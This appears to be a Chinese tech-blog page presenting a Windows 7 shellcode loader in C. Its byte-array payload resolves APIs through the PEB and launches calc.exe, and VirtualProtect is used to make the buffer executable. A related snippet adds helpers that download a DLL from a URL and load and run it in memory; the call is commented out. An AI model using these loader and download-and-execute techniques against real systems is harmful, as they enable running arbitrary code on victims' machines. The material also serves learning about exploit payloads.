WIN7下可执行的ShellCode

#include <windows.h>
#include <stdio.h>
int main()
{
	byte shellcode[] = {
		0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 
		0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2, 
		0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA, 
		0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 
		0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9, 
		0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66, 
		0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24, 
		0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08, 
		0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19, 
		0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00, 
		0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04, 
		0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B, 
		0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF, 
		0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
	};
	printf("size of shellcode: %d/n", sizeof(shellcode));
	system("pause");
	byte *bCall=shellcode;
	DWORD dwOld=0;
	VirtualProtect(bCall,sizeof(bCall),PAGE_EXECUTE_READWRITE,&dwOld);
	typedef void (WINAPI *pGGCall)();
	pGGCall pss=(pGGCall)&shellcode[0];
	pss();
	return 0;
}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
/***************************************************************** 文件名 : ShellCodeMainTest.hpp 描述 : 作者 : liqi09 最后修改日期 : 2015-05-13 16:17 修改人 : 最后修改日期 : 修改描述 : Copyright (C) All Rights Reserved *****************************************************************/ #ifndef __SHELLCODEMAINTEST_HPP__ #define __SHELLCODEMAINTEST_HPP__ #include "Extend/ShellCodeApiDefine.h" #include "Extend/asyc.h" void FunctionTest() { char szBuffer[20]; strcpy(szBuffer, S("CopyBuffer")); Trace(szBuffer); Trace(S("%s"), S("Trace init ok!")); Trace(S("wsprintfA EatAddr:%p ProcAddr:%p"), EatAddr("user32", "wsprintfA"), ProcAddr("user32", "wsprintfA")); MsvcrtCall(printf, S("%s"), S("printf init ok!\n")); MsvcrtCall(printf, S("cmdline:%s\n"), Fun("kernel32", GetCommandLineA)()); Kernel32Call(WinExec, S("notepad.exe"), SW_SHOW); MsvcrtCall(system, S("pause")); } class CClassTest { public: CClassTest(){ Trace(S("CTest")); } ~CClassTest(){ Trace(S("~CTest")); } void Function1(){ Trace(S("Function1")); } }; BOOL LoadUrlDll(PCHAR url, PCHAR proc) { char szFile[MAX_PATH]; BOOL bOk = FALSE; HRESULT hRes = URLDownloadToCacheFileA(NULL, url, (LPTSTR)szFile, MAX_PATH, NULL, NULL); if (hRes == S_OK) { Trace(S("download ok! %s"), szFile); HMODULE hModule = LoadLibraryA(szFile); if (hModule) { FARPROC Entry = GetProcAddress(hModule, proc); if (Entry) { Entry(); bOk = TRUE; } FreeLibrary(hModule); } } return bOk; } BOOL LoadUrlDllAsyc(PCHAR url, PCHAR proc) { char szFile[MAX_PATH]; BOOL bOk = FALSE; HRESULT hRes = URLDownloadToCacheFileA(NULL, url, (LPTSTR)szFile, MAX_PATH, NULL, NULL); if (hRes == S_OK) { Trace(S("download ok! %s"), szFile); HMODULE hModule = AsycLoadLibrary(szFile, TRUE, NULL); if (hModule) { FARPROC Entry = AsycGetProcAddress(hModule, proc); if (Entry) { Entry(); bOk = TRUE; } AsycFreeLibrary(hModule, TRUE); } } return bOk; } void ShellCodeMain() { CClassTest t; t.Function1(); FunctionTest(); //下载dll并内存加载,太过邪恶,先注掉。。 //LoadUrlDllAsyc(S("http://xxx.com.cn/test/TestDll.dll"), S("Entry")); } #endif // __SHELLCODEMAINTEST_HPP__

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值